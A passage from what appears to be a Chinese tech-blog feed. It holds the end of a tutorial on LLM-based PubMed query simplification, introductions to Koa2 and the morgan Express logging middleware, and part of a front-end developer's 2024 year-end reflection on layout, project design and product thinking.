  • 如果你直接使用这个查询进行搜索,我们的 PubMed 检索客户端可能不会返回任何结果。但如果将查询简化为:

“使用单克隆抗体治疗阿尔茨海默病”

  • 就能得到很多相关的结果。因此,简化用户的查询有时是很有必要的,而 LLM(大型语言模型)正好能很好地完成这项工作!

注意:在上面的例子中,我们在简化查询时移除了“过去五年”这样的具体信息——这些对于用户的查询是重要的,因为用户关注的是这个时间段。然而,目前我们将检索该主题的所有相关文献,而不考虑文献的时间。关于如何在问答过程中筛选出过去五年的文章,我们将在后续部分进一步讨论。

构建用户查询到 PubMed 查询简化的提示

  • 首先,我们需要为 LLM 构建一个提示(prompt),通过一些示例来指示什么时候需要简化查询,什么时候不需要。
  • 在 abstract_retrieval 模块中创建一个新的 pubmed_query_simplification.py 文件,该文件将包含简化查询的提示和示例,并定义一个函数,用于封装该提示并调用 LLM(在教程第一部分中定义的 LLM)来生成简化后的查询。
from langchain_core.prompts import PromptTemplate
from components.llm import llm


def simplify_pubmed_query(scientist_question: str) -> str:
    """ Transform verbose queries to simplified queries for PubMed """
    prompt_formatted_str = pubmed_query_simplification_prompt.format(question=scientist_question)
    return llm.invoke(prompt_formatted_str).content

pubmed_query_simplification_prompt = PromptTemplate.from_template("""
    You are an expert in biomedical search queries. Your task is to simplify verbose and detailed user queries into concise and effective search queries suitable for the PubMed database. Focus on capturing the essential scientific or medical elements relevant to biomedical research.

    Here are examples of the queries that need simplification, and what the simplification should look like:

    Example 1:
    Verbose Query: Has there been any significant progress in Alzheimer's disease treatment using monoclonal antibodies in the last five years?
    Is simplification needed here: Yes.
    Simplified Query: Alzheimer's disease monoclonal antibodies treatment progress

    Example 2:
    Verbose Query: What are the latest findings on the impact of climate change on the incidence of vector-borne diseases in tropical regions?
    Is simplification needed here: Yes.
    Simplified Query: Climate change and vector-borne diseases in tropics

    Example 3:
    Verbose Query: Can you provide detailed insights into the recent advancements in gene therapy for treating hereditary blindness?
    Is simplification needed here: Yes.
    Simplified Query: Gene therapy for hereditary blindness advancements

    Example 4:
    Verbose Query: I am interested in understanding how CRISPR technology has been applied in the development of cancer therapies over the recent years.
    Is simplification needed here: Yes.
    Simplified Query: CRISPR technology in cancer therapy development

    Example 5:
    Verbose Query: Alzheimer's disease and amyloid plaques
    Is simplification needed here: No.
    Simplified Query: Alzheimer's disease and amyloid plaques

    Example 6:
    Verbose Query: Effects of aerobic exercise on elderly cognitive function
    Is simplification needed here: No.
    Simplified Query: Effects of aerobic exercise on elderly cognitive function

    Example 7:
    Verbose Query: Molecular mechanisms of insulin resistance in type 2 diabetes
    Is simplification needed here: No.
    Simplified Query: Molecular mechanisms of insulin resistance in type 2 diabetes

    Example 8:
    Verbose Query: Role of gut microbiota in human health and disease
    Is simplification needed here: No.
    Simplified Query: Role of gut microbiota in human health and disease

    This is the user query:
    {question}

    Only decide to simplify the user's question if it is verbose. If it is already simple enough, just return the original user question.
    Only output the simplified query, or the original query if it is simple enough already, nothing else!
""")

现在,我们要回到我们的检索逻辑,并在 PubMed 搜索中加入查询简化的选项(通过添加一个新的方法_simplify_pubmed_query,并在_get_abstract_listget_abstract_data 中添加额外的参数):

from typing import List
import time
import random
from metapub import PubMedFetcher
from backend.data_repository.models import ScientificAbstract
from backend.abstract_retrieval.interface import AbstractRetriever
from backend.abstract_retrieval.pubmed_query_simplification import simplify_pubmed_query
from config.logging_config import get_logger


class PubMedAbstractRetriever(AbstractRetriever):
    def __init__(self, pubmed_fetch_object: PubMedFetcher):
        # 初始化 PubMedFetch 对象和日志记录器
        self.pubmed_fetch_object = pubmed_fetch_object
        self.logger = get_logger(__name__)

    def _simplify_pubmed_query(self, query: str, simplification_function: callable = simplify_pubmed_query) -> str:
        # 使用简化函数简化查询
        return simplification_function(query)
        
    def _translation_chain(self, query: str, translation_function: callable = translation_chain) -> str:
        ret = bool(re.search('[\u4e00-\u9fff]', query))
        if ret:
            trans_query = translation_function(query)
            self.logger.info(f'输入是中文,翻译的英文是:{trans_query}')
            return trans_query
        else:
            self.logger.info('输入是英文,不需要翻译')
            return query

    def _get_abstract_list(self, query: str, simplify_query: bool = True) -> List[str]:
        # 获取给定查询的 PubMed ID 列表
        if simplify_query:
            # 如果需要简化查询,则简化查询
            self.logger.info(f'尝试简化使用人员查询 {query}')
            query_simplified = self._simplify_pubmed_query(query)

            if query_simplified != query:
                self.logger.info(f'初始查询已简化为: {query_simplified}')
                query = query_simplified
            else:
                self.logger.info('初始查询已经足够简单,无需简化')

        self.logger.info(f'正在搜索查询: {query}')
        return self.pubmed_fetch_object.pmids_for_query(query)

    def _get_abstracts(self, pubmed_ids: List[str]) -> List[ScientificAbstract]:
        # 获取 PubMed 文摘 
        self.logger.info(f'正在获取以下 PubMed ID 的文摘数据: {pubmed_ids}')
        scientific_abstracts = []

        for id in pubmed_ids:
            initial_delay = 1  # 初始延迟时间(秒)
            max_attempts = 10  # 最大尝试次数
            success = False  # 标记是否成功获取文摘

            for attempt in range(max_attempts):
                try:
                    # 尝试获取文摘
                    abstract = self.pubmed_fetch_object.article_by_pmid(id)

                    # 如果文摘内容为 None,跳过当前 PubMed ID
                    if abstract.abstract is None:
                        self.logger.warning(f'PubMed ID {id} 未找到文摘,跳过...')
                        continue

                    # 处理 authors 字段,确保它是一个列表
                    authors = abstract.authors
                    if isinstance(authors, str):  # 如果是字符串,将其分割为列表
                        authors = authors.split(', ')

                    # 创建 ScientificAbstract 对象
                    abstract_formatted = ScientificAbstract(
                        doi=abstract.doi,
                        title=abstract.title,
                        authors=authors,  # 传递作者列表
                        year=abstract.year,
                        abstract_content=abstract.abstract
                    )

                    scientific_abstracts.append(abstract_formatted)
                    success = True
                    break

                except Exception as e:
                    # 如果请求失败,进行指数退避和随机延时
                    wait_time = initial_delay * (2 ** attempt) + random.uniform(0, 1)
                    self.logger.warning(f'PubMed ID {id} 的重试 {attempt + 1} 失败. 错误信息: {e}. {wait_time:.2f} 秒后重试...')
                    time.sleep(wait_time)

            if not success:
                # 如果达到最大尝试次数仍未成功,记录错误
                self.logger.error(f'在尝试 {max_attempts} 次后,仍未成功获取 PubMed ID {id} 的文摘')

        self.logger.info(f'共获取到 {len(scientific_abstracts)} 条文摘数据')
        return scientific_abstracts

    def get_abstract_data(self, scientist_question: str, simplify_query: bool = True) -> List[ScientificAbstract]:
        # 获取使用人员查询的文摘列表
        translation_question = self._translation_chain(scientist_question)
        pmids = self._get_abstract_list(translation_question, simplify_query)  # 获取 PubMed ID 列表
        abstracts = self._get_abstracts(pmids)  # 获取对应的文摘
        return abstracts

创建一个测试脚本,例如test_pubmed_fetch.py,并测试 PubMed 检索客户端,验证查询简化后返回的结果:

from metapub import PubMedFetcher
from backend.abstract_retrieval.pubmed_retriever import PubMedAbstractRetriever

# 初始化 PubMedFetcher 和 AbstractRetriever
pubmed_fetcher = PubMedFetcher()
abstract_retriever = PubMedAbstractRetriever(pubmed_fetcher)

# 不进行查询简化,直接获取文献摘要
scientist_question = "Has there been any significant progress in Alzheimer's disease treatment using monoclonal antibodies in the last five years?"

abstracts_without_simplification = abstract_retriever.get_abstract_data(scientist_question, simplify_query=False)

# 进行查询简化(默认行为),然后获取文献摘要
abstracts_with_simplification = abstract_retriever.get_abstract_data(scientist_question)

注意:当您的搜索查询涉及一个非常热门的主题时,检索过程可能需要较长时间才能完成。

从输出日志中,您可以看到,在没有简化的情况下,未检索到任何文献摘要,而在简化查询后,检索到 243 篇文献摘要。

image.png

结论

在本系列文章《从基础到进阶:通过AI Agents检索生物医学摘要 (二)》中,我们使用 metapub 库构建了文献摘要检索API。 我们利用 LLM 优化了使用人员的自然语言查询,从而提高了检索到相关结果的概率。 在接下来的部分,我重点讨论如何将检索到的文献摘要保存到数据库中,并为RAG 系统创建向量索引。

by MobotStone at January 22, 2025 01:56 PM

juejin backend

请简要介绍一下 Koa2,它相比 Koa1 有哪些主要的改进之处?

Koa2 简介

Koa 是一个由 Express 原班人马打造的下一代 Node.js Web 框架,旨在提供更简洁、更强大的 API 来处理 HTTP 请求和响应。Koa 的核心思想是中间件(Middleware),它通过异步函数(async/await)来实现中间件的流程控制,使得代码更加简洁和易读。

Koa2 是 Koa 的第二个主要版本,相比于 Koa1,它最大的改进是全面支持 async/await,从而更好地处理异步操作。


Koa2 的主要特点

  1. 轻量级
    • Koa 本身非常轻量,只提供了核心的功能(如请求和响应处理),其他功能通过中间件扩展。
  2. 基于 async/await 的中间件
    • Koa2 使用 async/await 替代了 Koa1 中的生成器函数(generator),使得异步代码更加直观和易于维护。
  3. 上下文对象(Context)
    • Koa 将 Node.js 的 requestresponse 对象封装到一个上下文对象(ctx)中,简化了 API。
  4. 错误处理
    • Koa 提供了统一的错误处理机制,可以通过 try/catch 或错误事件捕获错误。
  5. 模块化设计
    • Koa 鼓励使用中间件来扩展功能,社区提供了大量高质量的中间件。

Koa2 相比 Koa1 的主要改进

1. 全面支持 async/await

  • Koa1:使用生成器函数(generator)和 yield 来处理异步操作。
    app.use(function *(next) {
      const start = Date.now();
      yield next;
      const ms = Date.now() - start;
      this.set('X-Response-Time', `${ms}ms`);
    });
    
  • Koa2:使用 async/await,代码更加简洁和直观。
    app.use(async (ctx, next) => {
      const start = Date.now();
      await next();
      const ms = Date.now() - start;
      ctx.set('X-Response-Time', `${ms}ms`);
    });
    

2. 更好的错误处理

  • Koa1:错误处理依赖于生成器函数和 try/catch,不够直观。
  • Koa2:通过 async/await,可以更方便地使用 try/catch 捕获错误。
    app.use(async (ctx, next) => {
      try {
        await next();
      } catch (err) {
        ctx.status = err.status || 500;
        ctx.body = err.message;
      }
    });
    

3. 更简洁的 API

  • Koa1:需要依赖 co 库来处理生成器函数。
  • Koa2:直接使用 async/await,无需额外的库。

4. 性能提升

  • Koa2:由于 async/await 是原生支持的语法,性能比生成器函数更好。

5. 更好的类型支持

  • Koa2:由于使用现代 JavaScript 特性,对 TypeScript 的支持更好。

Koa2 的基本用法

1. 安装 Koa2

npm install koa

2. 创建一个简单的 Koa2 应用

const Koa = require('koa');
const app = new Koa();

// 中间件 1
app.use(async (ctx, next) => {
  console.log('Middleware 1 - Start');
  await next();
  console.log('Middleware 1 - End');
});

// 中间件 2
app.use(async (ctx, next) => {
  console.log('Middleware 2 - Start');
  await next();
  console.log('Middleware 2 - End');
});

// 路由处理
app.use(async (ctx) => {
  ctx.body = 'Hello, Koa2!';
});

// 启动服务器
app.listen(3000, () => {
  console.log('Server is running on http://localhost:3000');
});

3. 中间件执行顺序

Koa2 的中间件执行顺序是“洋葱模型”:

  1. 从外到内依次执行中间件。
  2. 从内到外依次完成剩余逻辑。

对于上面的代码,输出顺序为:

Middleware 1 - Start
Middleware 2 - Start
Middleware 2 - End
Middleware 1 - End

Koa2 的中间件生态

Koa2 的中间件生态非常丰富,以下是一些常用的中间件:

  • koa-router:路由管理。
  • koa-bodyparser:解析请求体。
  • koa-static:提供静态文件服务。
  • koa-views:模板渲染。
  • koa-session:会话管理。
  • koa-logger:请求日志记录。

总结

  • Koa2 是一个轻量级、现代化的 Node.js Web 框架,基于 async/await 实现中间件流程控制。
  • 相比 Koa1,Koa2 的主要改进包括全面支持 async/await、更好的错误处理、更简洁的 API、性能提升和更好的类型支持。
  • Koa2 的核心优势在于其简洁的设计和强大的中间件机制,适合构建高性能、可扩展的 Web 应用。

by 我是区块链小学生 at January 22, 2025 01:51 PM

node.js中一个常用的日志记录的中间件morgan

一个常用的 Express 中间件是 morgan,它是一个 HTTP 请求日志记录中间件,用于记录每个请求的详细信息,如请求方法、URL、状态码、响应时间等。morgan 是 Express 生态系统中非常流行的日志记录工具,广泛应用于开发和生产环境中。


1. morgan 的功能

  • 记录 HTTP 请求的详细信息。
  • 支持多种预定义的日志格式(如 combinedcommondevshorttiny)。
  • 支持自定义日志格式。
  • 可以将日志输出到控制台、文件或其他流中。

2. 使用 morgan 的示例

2.1 基本用法

const express = require('express');
const morgan = require('morgan');

const app = express();

// 使用默认的 'dev' 格式记录日志
app.use(morgan('dev'));

app.get('/', (req, res) => {
  res.send('Hello, World!');
});

app.listen(3000, () => {
  console.log('Server is running on http://localhost:3000');
});
  • 当访问 http://localhost:3000 时,控制台会输出类似以下的日志:
GET / 200 12.123 ms - 13
  • GET:请求方法。
  • /:请求的 URL。
  • 200:响应状态码。
  • 12.123 ms:响应时间。
  • 13:响应内容的长度。

2.2 使用其他预定义格式

app.use(morgan('combined')); // 使用 'combined' 格式
  • combined 格式会输出更详细的信息,包括远程地址、请求时间、HTTP 版本等。

2.3 将日志写入文件

const fs = require('fs');
const path = require('path');

// 创建一个写入流
const accessLogStream = fs.createWriteStream(path.join(__dirname, 'access.log'), { flags: 'a' });

// 将日志写入文件
app.use(morgan('combined', { stream: accessLogStream }));

3. morgan 的实现原理

3.1 中间件的基本结构

morgan 是一个标准的 Express 中间件,其核心是一个函数,接收请求对象(req)、响应对象(res)和 next 函数作为参数。它的基本结构如下:

function morgan(format, options) {
  return (req, res, next) => {
    // 记录日志的逻辑
    next();
  };
}

3.2 日志格式

morgan 支持预定义格式和自定义格式。预定义格式是通过字符串定义的,例如 devcombined 等。自定义格式可以通过函数或字符串模板实现。

  • 预定义格式

    • dev:简洁的开发环境日志。
    • combined:详细的日志,包括远程地址、请求时间等。
    • common:Apache 风格的日志。
    • short:简短的日志。
    • tiny:极简的日志。
  • 自定义格式

    app.use(morgan(':method :url :status :res[content-length] - :response-time ms'));
    

3.3 日志记录逻辑

morgan 的核心逻辑是在请求完成时(即响应结束时)记录日志。它通过监听响应对象的 finish 事件来实现:

function morgan(format, options) {
  return (req, res, next) => {
    const start = Date.now();

    // 监听响应结束事件
    res.on('finish', () => {
      const duration = Date.now() - start;
      const log = `${req.method} ${req.url} ${res.statusCode} ${duration}ms`;
      console.log(log); // 输出日志
    });

    next();
  };
}

3.4 支持输出到流

morgan 支持将日志输出到任意流(如文件流、控制台流等)。通过 options.stream 参数可以指定输出目标:

function morgan(format, options) {
  const stream = options.stream || process.stdout;

  return (req, res, next) => {
    const start = Date.now();

    res.on('finish', () => {
      const duration = Date.now() - start;
      const log = `${req.method} ${req.url} ${res.statusCode} ${duration}ms\n`;
      stream.write(log); // 将日志写入流
    });

    next();
  };
}

4. 自定义日志中间件的实现

如果你想实现一个简单的日志中间件,可以参考以下代码:

function logger(req, res, next) {
  const start = Date.now();

  res.on('finish', () => {
    const duration = Date.now() - start;
    console.log(`${req.method} ${req.url} ${res.statusCode} ${duration}ms`);
  });

  next();
}

app.use(logger);

5. 总结

  • morgan 的功能:记录 HTTP 请求的详细信息,支持多种日志格式和输出目标。
  • 实现原理:通过监听响应对象的 finish 事件,在请求完成时记录日志。
  • 自定义日志中间件:可以基于 morgan 的原理实现自己的日志中间件。

morgan 是一个非常强大且灵活的日志记录工具,能够帮助开发者更好地监控和调试 Express 应用。

by 我是区块链小学生 at January 22, 2025 01:17 PM

juejin frontend

2024年终总结来啦 - 从页面布局到"项目设计"思想的转变

2024年终总结来啦 - 从页面布局到"项目设计"思想的转变

前言:开启思考

看到一篇文章,也是好友写的一篇文章,我觉得挺有道理的,就做了一下引用,以它为开篇:

2022年的时候,搞笑诺贝尔奖在经济领域的奖项,颁给了一个意大利研究团队的一项研究。 论文标题是《天赋与运气:随机性在成功与失败中的作用》。 他们研究的问题是:

成功到底是靠天赋还是靠运气。 这个研究团队通过数学模型的推演,得出的结论是: 一个人要成功,主要起作用的不是天赋、才华,而是运气。

这个研究起源于一个常见的悖论,那就是人的才华和他拥有的财富不一定成正比,很多才华洋溢的人不一定很有钱,而很多富有的人可能看上去并不是很有能力。

对于2024年,对于我来说写的更多的是别离,也更多的是成长,突然明白了一句话,成长的路上都是孤独的。而我这篇总结不是诉苦,也不是写我收获了什么,而是写经过这一年,而是写我的思想又是如何再次转变,之前2023年我写了一篇《一个22届被裁前端思想上得转变》,也不知有没有帮助一样的人。为什么写很多都是理念篇呢,因为我出来实习到工作,都是自己进行摸索,我不是什么名牌大学毕业,也不是互联网大厂的人。只是一名普通的码农,对未来迷茫,而又想挣扎的人。对于技术分享,现在很卷,我看了很多的技术文章,写的都很不错,当社区上比较少,而我又在学习得新的或相应的技术,我也会进行分享,只是常见的技术文章已经够多了,在卷下去大家看着也会疲倦,所以就倾向于分享理念性的文章,毕竟每个人的感悟不同,一个是为了分享,一个是为了当笔记,方便自己进行查看。 看了很多这种技术文章,但是我也只是为了扩展见识,记不住。因为没有相应的业务支持,自己尝试,不久也会忘掉。但我也是实打实的在一线开发着,也会结合自己的业务进行结合,然后去总结,进行分享,一个是能够帮助需要的人,一个也是为了给自己看,因为我容易忘。我并不是专业写文章的技术博主,也只是在闲暇时间,思考自己做过的事情,做一次总结,以及所见所闻所想。

一个22届被裁前端思想上得转变背景以及唠叨 抛出问题,你觉得什么样的人算得上大佬?或者是怎样得人会成为大佬?这是我去面试 - 掘金

页面布局交互:从基础实现到关注用户体验

页面布局,我想这个是每个前端的必修课,UI给出一张图,让我们前端去实现,我们肯定会根据UI去画相应的页面,初级选手,往上堆,直接一堆排布,然后用定位去实现,在自己浏览器堆出来就行了。还真别说,刚入行的时候我就是这样,一个个堆,反正能实现出来。实现不出来的,切张图,有手就行。而对于中级点的就会考虑,不同的屏幕怎么适配,该用什么布局,先进行总体的一个布局,再考虑局部的页面布局,这样能保证在不同的设备都能够很好进行数据展示以及交互。而对于布局页面上,思想上:采用以媒体查询为基底,flex为区间,超出就隐藏,排列问题采用Grid布局,特殊问题采用定位的思想),借助工具:postcss-px-to-viewport,px,rem之间转换(关于适配问题),而高级点的呢,不仅要考虑UI布局的实现,屏幕适配的实现,还会考虑用户的交互,颜色的搭配,这个字体这样显示是否够吸引人,这张图是鼠标进来的时候是不是需要一个交互放大的动画,这样的交互体验是否更好,更注重的是考虑的是用户的体验。

这也应该是所有前端应该考虑的事情,也应该去思考的事情,因为我们前端这个行业本应就关心用户的体验,人机交互如何(当然啦,这是钱给够前提下,毕竟给多少钱干多少钱的事情嘛),因为我们本身是技术,也是用户,我们也会进行体验,但我们会习惯性的用技术思维去衡量了这个交互效果,而忽略了用户体验效果。当UI出来时,初级选手是看不出什么问题的,而中级的就会考虑是否跟需求对上,能不能实现出来,而高级选手,不仅考虑需求,功能的实现,还会考虑交互体验,交互引导,让用户更快速的上手系统,还有视觉上的美观,往往UI改了一版又一版。

过去在页面布局上,我是注重实现功能,将页面画出来,简单拼凑,追求快速完成任务,这样我就可以摸鱼啦。但在2024年,我也开始慢慢的去思考用户体验和视觉美学。我也开始去研究不同布局对用户操作流程的影响,尝试通过合理的留白、清晰的层次结构引导用户视线,也开始思考这个字体够不够吸引人,还可以怎样优化让用户更好的体验。有时候,页面布局不仅仅是技术实现,更是一种沟通设计,要让用户在浏览时感到舒适和便捷。

当然前提是你要提升你的审美能力,以及多体验优秀的产品,从别人的产品中找到不一样的灵感。

设计灵感

前端项目设计:复杂业务下的规划与协作

前端也有设计嘛? 前端不就是切图跟业务实现而已嘛,好像简单的业务确实不需要什么设计,但是当一个业务比较复杂的时候,人员参与比较多的时候就需要进行设计了。不然三四个前端,在干巴巴的看着嘛?还是说你开发这个页面,我开发这个页面,最后做集成就好?没错的,之前我们也是这样干的,但这次业务是比较复杂,如果前期没有一个总体的规划设计,那后期很难进行维护,也很难做这个性能上的优化。

我们的需求是在 PC 端实现组件拖拽以生成页面,并在安卓设备上显示,类似于低代码平台,同时还涉及其它的辅助功能页面以及直播插件的实现。由于安卓开发人员仅有一人,领导是希望尽可能由前端完成所有功能,而且要求即便断网也能正常加载页面,避免出现白屏,仅显示暂无数据。起初负责这个项目时,我心里是害怕的。

在技术调研阶段,领导推荐使用 uniapp 来实现最终的安卓 app,但我们团队一直使用 react,而且 uniapp 性能不佳,考虑到直播功能的性能要求,该方案是不行的。不过,领导他想要看到纯前端打包成 app 的效果,于是我就利用 Hbuildx 对现有产品进行打包,给他看,随后我就尝试用 react-native进行开发。经过一周的努力,我开发了一个包含轮播、点击、弹窗、滚动等交互效果的简单页面,打包出来app。在安卓手机上,RN 的显示效果和开屏速度还是可以的,但在我们的设备上开屏速度极慢。即便添加了开屏动画,体验依然不好。然后我就查看安卓系统的 CPU 等参数,发现设备系统为安卓 7.0,性能差死。然后,我想到的是采用安卓加载 webView 的形式来加载本地资源,应用的核心底层仍由安卓开发,显示页面则由前端负责。最终,我给领导提供了 uniapp、RN、安卓加webView 三套技术方案,进行了两天的讨论。由于 uniapp 性能太差,我是直接否决的;RN 需要深入底层开发,且设备性能不好,我也不推荐。最终,领导同意采纳了我推荐的安卓用 webView 加载的方案,这也在一定程度上减轻了安卓开发的工作量。

接下来便是实现环节。前端如何在安卓上进行渲染,以及在 PC 上拖拽后如何在安卓设备上呈现,看到 UE 后我心里有个大致的方案,即前端拖拉后的页面仍由前端负责渲染。无论采用何种方案,拖拉部分最终都以 webView 的形式加载,这样能最大程度减少人员投入,否则就需要分别为 PC、RN 或安卓开发一套组件。对于涉及安卓的部分,如直播功能,前端只需提供按钮通知安卓,由安卓自行实现并跳转页面即可,这样我们就不用考虑设备性能的问题了。当然,还有许多前端组件需要与安卓进行交互。由于安卓设备性能较低,如果以链接形式加载最终页面,速度会非常慢,将页面放在本地加载速度会快很多,但即便如此,加载前端静态文件仍需三四秒,速度还是偏慢的,这种效果体验还是很不好。对此,一方面需要前端进行优化,尽可能把包减小,开屏的效果尽可能的快,另一方面安卓也需考虑 CPU 调度、提前预加载等措施来解决加载时间问题。

项目的技术难点主要有三个:低代码容器的实现、与安卓的交互以及避免打包不必要的系统文件,仅在安卓需要加载部分渲染代码时进行打包。如果我写自己编写低代码容器,对我来说有点为难我,我比较菜,我就进行了调研,发现 react-grid-layout 是不错的,尽管它的文档有所缺失,但是社区还是很多人在使用,它也能满足我们的需求。于是,我基于 react-grid-layout 实现了组件拖拽的容器,同时还需额外实现组件的拖入的逻辑。解决了容器问题后,接下来就是封装组件以及处理不同屏幕的适配。我采用 scale 根据标准进行缩放,屏幕适配效果还是不错的。之后,我就给出了 demo 给同事,由同事进行具体实现,我参与总体的设计。

在安卓交互方面,主要是桥的问题,由于涉及人员较多,交互主要是点击按钮时前端通知安卓,安卓也要通知前端进行更新。与安卓开发人员讨论,确定前端通知安卓通过前端调用安卓的方法传参,安卓通知前端则通过安卓调用前端的方法传参。为了实现前端监听安卓的调用,我采用了发布与订阅模式,前端先注册自己的方法,然后监听安卓的调用传参。约定的方法函数通过文档进行更新,前端直接用 ts 编写进行限制。

关于系统文件问题,我考虑的是,重新搭建一个服务,因为基于原有服务修改过于麻烦,重新搭建只需进行路由分开,入口不同就行了。将安卓的文件单独放在一个文件中,其余部分采用路由懒加载,这样安卓通过加载不同的路由地址就能显示不同的页面。

按照这个思路,经过两个多月的努力,项目的主体部分基本被我们实现出来,剩下一些简单页面留到年后完成。在此期间,我制定了代码规范、命名规范和提交规范,运用组件化、模块化思想实现代码复用,还采用了软件设计模式,并进行了性能优化。因为一个优秀的产品必然追求为用户带来极致的体验。

在这次项目中,我进行了整体设计。之所以如此,一方面是因为要与安卓进行交互,另一方面是参与人员较多,三四个前端人员参与其中。若不进行整体设计规划,每个人都有自己的命名习惯,容易出现重复造轮子的情况,导致业务代码重复。因此,运用一些设计模式可以规避这些问题。同时,这也是为了与安卓开发形成规范,双方按照文档开发,安卓定义好方法,前端按规范使用;前端定义好函数,安卓按规范调用,从而避免大量的调试工作。

设计模式在软件开发中具有重要意义。它是被反复使用、经过验证的可复用解决方案,主要用于解决常见的设计和代码结构问题,帮助开发人员更高效、更易维护地编写代码。具体作用如下:

提高代码可读性和可维护性:使用设计模式能使代码结构更加清晰规范,便于其他开发人员理解和维护。

  • 促进代码重用:提供标准化解决方案,可在不同项目中重复使用,减少重复劳动。
  • 提高开发效率:开发人员可直接应用现成的设计模式,无需从头设计,加快开发速度。
  • 改善代码的灵活性和可扩展性:使代码更易于修改和扩展,适应不断变化的需求。
  • 提供通用的设计词汇:为开发人员提供通用词汇,便于交流和讨论设计问题及解决方案。

这是一次从需求分析到前端设计实现的一个过程,而我是基于业务去设计的。也是一次从页面布局实现到前端项目一次设计的过程转变。

在开发过程中我也想下了一些对应的文章:

浅谈目前我开发的前端项目用到的设计模式浅谈目前我开发的前端项目用到的设计模式 前言 设计模式很多,看到一个需求,项目,我 - 掘金

前端性能优化(理念篇)其实前端性能优化,按照我的理解,首先你公司的硬件条件跟其它资源跟的上,比如服务器资源,宽带怎么样, - 掘金

异步处理之async/await使用技巧分享前言 async/await是非常强大的语法糖,是处理异步问题的一种简洁、高 - 掘金

react-native webview怎么加载前端打包出来的SPA静态文件遇到问题一定不要抓瞎,一定要找到问题所在,如 - 掘金

web打包成Apk平时小伙伴们自己的博客网站只能在浏览器打开,但是有时候你想要制作自己独立个人博客app,宣传并推广自己 - 掘金

网站优化-Brotli 压缩前言 通常我们都希望浏览网站网页的速度越快越好,这样也意味着,下载内容的数据越少越好。越少的 - 掘金

Rollup 插件机制深入学习rollup 的源码全都糅杂在一个库中,阅读起来着实头大,模块、工具函数管理的看起来很随意 - 掘金

在实际业务中,前端工作不仅仅局限于项目的技术实现,更需要从产品的宏观角度去思考。这就促使我开始去了解产品设计相关的内容,以下我想分享一下我在这方面的感悟和经历。

从前端到产品设计:思维的拓展与升华

如果说页面布局,到前端项目的设计是由点到线的过程,那从前端到产品设计,就是线到面的一个过程。

先说说我们的产品的开发流程,一个页面需要UI设计出来,UI需要根据我们的UE功能草图进行一个画图设计,考虑怎么排布,怎么让它更加美观,而我们UE是根据需求进行分析做出功能草图。后端,前端一个整体流程的实现其实都是根据UE进行评审,评审这个功能是否能够实现,然后大家进行评审,觉得这个功能符合需求,能实现,功能没有漏缺,整体流程没问题,符合实际需求,这时候后端进行数据库设计,接口设计,UI进行画图,这时候前端在各大平台摸鱼。不不不,这时候前端在做技术调研。UI给出图,前端进行审核,看是否缺失功能,后端给出接口文档,前端进行查看是否缺失字段,其次数据结构是否需要更改。前后端进行排期开发,开发完后进行联调,然后自测,最后交由测试进行测试,也同步进行UI的标准化验收,标准化验收通过后,测试完后进行部署发布。这是我们公司的一个产品实现从需求到实现的一个大概过程。

而对于产品的感悟,来源于一次,领导之前让我开发一款设备通话功能,同时也引发了我对于功能产品化的思考。领导让我开发个设备通话功能,借助的是第三方插件通话,当时我已经实现好了功能,我说弄好了,等联调就好了,他说没你想的那么简单,要把它进行产品化,然后进行收费。当他说,这玩意要收钱的时候,我都愣住了,不就一个通话功能嘛,这玩意还要收钱?然后转念一想,企业搞这玩意不就是为了收钱嘛,难道做慈善嘛,是啊,单独做成一个额外的功能产品让用户进行选择,哪怕一个家长一个月就收几十块钱,一年就有几百块钱,一个学校几千名家长,那就是几万了,多卖几个学校,都年入百万都不是问题了。慢慢的我陷入了沉思,总感觉,老是带着开发的思维去思考问题,却忘记做这件事初衷是为了挣钱,其实主要功能还是哪个,产品化,就是弄点其它的功能进行辅助,如通话记录,人员信息,等,形成一个产品。这是一个比较简单的产品形成的一个过程。而且这个产品已经投入学校进行使用并且收费。

我想了想,我们是开发者,我们也有自己的思想,一个idea,我们实现出来了,也可以把它做成一个小的产品,面向需要的某一个群体,从而我们也可以向他们收取一定的费用。这样也可以做到一个额外的收入。我想的是抽取额外的时间去实现,构思,这种也是技术的提升,也是一个完整产品的知识链的学习,从而达到扩展知识,也可以增加收入。小量的用户不用特别的维护,普通的服务器是够用的,当成一个副业来做。当然前提是有个idea.因为这是产品经理应该考虑的事情。但是作为一个开发者有着天然的优势,我们也是思想的直接实现者,我们也拥有自己的思想,从而实现一个小的产品。其实我想的是功能产品化,而不是从用户的思考一个产品。就是说我实现了一个不错的功能,可不可以把它进行产品化,让我的思想也可以挣钱的一个过程。当然也要考虑这是用户需要的嘛,不然也挣不了钱。

引用一句话:对于一个能够提供价值的产品,技术是最不重要的,重要的是你的产品思维和设计能力。 程序员和画家是一样的,相比于你用什么画笔、什么颜料画画,更重要的是你的作品。

疫情之后的新规则怎样成为主流规则?所有的技术与专业的深度,开始在同一频道协作演进,没有人再置身事外。各个领域的玩家,将从各司其职、各安其分演进到边界消失、跨界融合,去理解彼此的价值传递。 数据智能放大了高速移动的场景变化,意义自然深远,比如非接触的不可逆、防护标准的精细化、万物直播后的隐私保护。--场景纪元

人人都是产品经理,虽然有点调侃。但是有多少产品经理的产品思维能力比开发强上一大截的,作为开发来说也是本身一个用户,消费者,并不只有工程师思维。

过去,我也认为产品设计是产品经理的职责,自己只需按照需求进行开发。但从今年我也开始去了解产品设计理念,尝试从用户和市场的角度思考问题。我发现,很多功能的实现并非技术难题,关键在于如何设计出真正满足用户需求且具有市场竞争力的产品。

当然我们技术我们开发可以出自己的工具,我们能不能把我们的工具进行一个产品化,树立用户场景,挖掘用户的需求,抓住用户的弱点实现用户主动付费,形成商业盈利。因为大环境的不好,我们也要趁着还年轻去尝试,当作副业来做。设计出一个好的产品作品,需要灵感,需要用户需求。产品设计是一个不断探索和优化的过程,技术人员也应积极参与其中,运用技术思维为产品赋能。

如果只懂技术,那我们也许一直都是打工者,如果懂产品,说不定那一天,灵感来了,你的产品突然火了。那你也财富自由了。梦想还是有的,万一实现了呢,况且企业也是这样去探索那种业务产品能挣钱。埋下一个颗产品的种子。当作副业去研究未尝不可。

推荐书籍:

1.《破茧成蝶-用户体验设计师的成长之路》

2.《决胜b端:产品经理升级之路》

3.《用户体验要素:以用户为中心的产品设计(原书第2版)》

4.《最好的竞品分析报告的思路应该是这样的》

工具的设计实现:解决痛点的探索与实践

在今年的工作中实践我也进行了工具的设计与实现,因为工作中突然来了灵感,就进行了设计实现。

